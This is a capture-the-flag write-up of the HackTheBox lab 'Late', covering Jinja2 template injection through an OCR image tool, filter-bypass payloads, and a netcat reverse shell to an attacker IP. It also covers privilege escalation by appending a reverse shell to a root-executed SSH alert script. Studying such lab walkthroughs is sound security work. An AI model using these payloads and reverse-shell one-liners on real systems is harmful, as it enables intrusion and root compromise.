Late
Summary
Late is an easy box where we abuse an SSTI injection through the OCR system implemented in the website. The tough part is to make the OCR to recognize all the characters, specially the underscores and the quotes. Then the privesc was possible through the ssh-alert.sh script which could be appended by the svc_acc user we already owned.
Enumeration
- NMap nmap -sC -sV -oA nmap 10.10.11.156:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-08 11:40 EDT
Nmap scan report for 10.10.11.156
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On the nmap we cannot see too much but two ports open, an SSH server and the port 80 with a website. Looking around it, we can detect the following technologies with wappalyzer:
- Nginx 1.14.0
- Jquery 1.10.2
At the bottom of the page we can see the following link:
http://images.late.htb/
We add the hostname into the /etc/hosts file and using that URL, we reach the tool, which is implemented in Flask (Python) as indicated in the title:
I used the following image to see what the server is doing with the OCR output:
Output:
<p>aie]
</p>
Well… The OCR is not that great. But we can see that the output goes into an HTML. We can see that there is only extension check on the filename. Also the directory where its being loaded due to an error when we try gibberish in the extension:
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/test.png622'
Furthermore, there is a filter, since the ‘//’ turns into ‘_’ when displayed in the error:
/home/svc_acc/app/uploads/test1234.png_.._.._asdf.png9970
I stopped trying any kind of XXE or file upload vulnerabilities. Then I noticed the “Convert image to text with Flask” so I first thing I try on Python web apps are SSTI payloads.
{ {7*7} }
Output:
<p>49
</p>
Se we have spotted an SSTI vulnerability, it seems like it’s rendering the OCR output into the HTML without any escape or sanitization.
We are going hard with this payload:
{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() } }
And that was the output on the web browser:
Error occured while processing the image: 'str object' has no attribute 'class'
There was many tries and payloads…
{ {''.class.mro()[1].subclasses()} }
{ { "".class.mro()[1].subclasses()} }
# Working with some bypasses:
{ {() | attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()} }
{ { () | attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__') } }
# Using read function in index 245:
{ { () | attr('__class__')|attr('__base__')|attr('__subclasses__')[245] } }
Some responses from previous payloads:
<p><built-in method __getitem__ of list object at 0x7f37f14bf108>
</p>
245
<class 'pkgutil.ImpImporter'>,
<class 'pkgutil.ImpLoader'>,
<class 'subprocess.CompletedProcess'>,
<class 'subprocess.Popen'>,
<class 'pyexpat.xmlparser'>,
<class 'plistlib.Data'>,
<class 'plistlib._PlistParser'>,
<class 'plistlib._DumbXMLWriter'>,
I tried to get some extra information with working paylaods:
{ { config } }
<p><Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'_5#y2L"F4Q8z\n\xec]/', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
</p>
And after so many tries with different letter styles, backgrounds, font size and using spaces so the OCR algorithm can differenciate correctly the characters I got command execution. I used one of the short payloads from PayloadAllTheThings:
{ { cycler.__init__.__globals__.os.popen(' id ').read() } }
Output:
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
</p>
Then I started collecting some information from the environment before trying to spawn a revshell:
ls:
{ { cycler.__init__.__globals__.os.popen(' ls ').read() } }
Output:
<p>main.py
misc
__pycache__
static
templates
uploads
wsgi.py
</p>
Netcat:
{ { cycler.__init__.__globals__.os.popen(' nc 10.10.14.58 4444 -e /bin/bash ').read() } }
Output:
Error occured while processing the image: 'type object' has no attribute 'init__'
{ { cycler.__init__.__globals__.os.popen(" wget http://10.10.14.58:5453 ").read() } }
It was success and get a request.
Tried to get as much information as possible while trying to get a reverse shell…
{ { cycler.__init__.__globals__.os.popen(' cat main.py ').read() } }
main.py
import datetime
import os, random
from flask.templating import render_template_string
from werkzeug.utils import secure_filename
import PIL.Image
import pytesseract
from PIL import Image
from flask import Flask, request, render_template, redirect, url_for, session, send_file
app = Flask(__name__)
upload_dir = "/home/svc_acc/app/uploads"
misc_dir = '/home/svc_acc/app/misc'
allowed_extensions = ["jpg" ,'png']
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
@app.route('/')
def home():
return render_template("index.html", title="Image Reader")
@app.route('/scanner', methods=['GET', 'POST'])
def scan_file():
scanned_text = ''
results = ''
if request.method == 'POST':
start_time = datetime.datetime.now()
f = request.files['file']
if f.filename.split('.')[-1] in allowed_extensions:
try:
ID = str(random.randint(1,10000))
file_name = upload_dir + "/" + secure_filename(f.filename )+ ID
f.save(file_name)
pytesseract.pytesseract.tesseract_cmd = r'/usr/bin/tesseract'
scanned_text = pytesseract.image_to_string(PIL.Image.open(file_name))
results = """<p>{}</p>""".format(scanned_text)
r = render_template_string(results)
path = misc_dir + "/" + ID + '_' + 'results.txt'
with open(path, 'w') as f:
f.write(r)
return send_file(path, as_attachment=True,attachment_filename='results.txt')
except Exception as e:
return ('Error occured while processing the image: ' + str(e))
else:
return 'Invalid Extension'
And the final payload to get the reverse shell:
{ { cycler.__init__.__globals__.os.popen(" rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.192 4444 >/tmp/f ").read() } }
And it worked:
2870e52b45c1cb066bda6a1828c5ebee
Privesc
With pspy64 we could see that the user root is executing the following script:
CMD: UID=0 PID=2227 | /bin/bash /usr/local/sbin/ssh-alert.sh
CMD: UID=0 PID=2323 | chattr +a /usr/local/sbin/ssh-alert.sh
That script is owned by us, therefore, an edit with a rev shell at the end should do the job:
/usr/local/sbin/ssh-alert.sh:
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
mkfifo /tmp/f; nc 10.10.14.3 5455 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
When saving in nano it shows [ Error writing /usr/local/sbin/ssh-alert.sh: Operation not permitted ]
Checking the other attributes, we can see that we have append permission, so lets append to the file:
echo "mkfifo /tmp/f; nc 10.10.14.3 5455 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f" >> /usr/local/sbin/ssh-alert.sh
We iniciate a SSH into svc_acc user and we get the shell in our host.
7aa38494fb2a4439e9f2b73c055e00d1